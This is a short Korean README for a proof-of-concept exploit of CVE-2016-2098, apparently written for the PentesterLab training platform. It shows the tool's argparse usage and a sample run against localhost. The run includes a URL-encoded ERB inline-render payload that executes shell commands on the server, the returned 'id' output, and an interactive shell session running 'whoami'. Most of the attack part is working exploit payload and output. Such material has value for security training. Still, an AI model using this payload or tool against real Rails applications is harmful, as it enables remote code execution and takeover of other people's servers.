
PentesterLab용으로 제작한 CVE-2016-2098 PoC
PentesterLab을 위해 작성했습니다.
PentesterLab 사용자라면 치트하지 마세요. 직접 배우는 것이 훨씬 낫습니다.
누군가에게, 아니라면 미래의 저에게 유용하길 바랍니다 :)
인터랙티브 셸과 멋진 argparse 기능도 있습니다.
usage: script.py [-h] --url URL [--param PARAM] [--proxy] [--raw] [--no-color]
script.py: error: the following arguments are required: --url
$ python3 script.py --url "http://localhost:8000/pages?id=test"
[+] No parameter specified. Available parameters: ['id']
[+] Testing parameter: id
[+] Testing injection with URL: http://localhost:8000/pages?id[inline]=%3C%25%3D%20%25x%28echo%20SEALLDEV_OUTPUT_%24%28id%29%29%20%25%3E
[+] Injection successful! Test output: uid=1000(webrick) gid=1000(webrick) groups=1000(webrick)
[+] Starting interactive shell...
[+] Type "exit" to quit
--------------------------------------------------
shell> whoami
webrick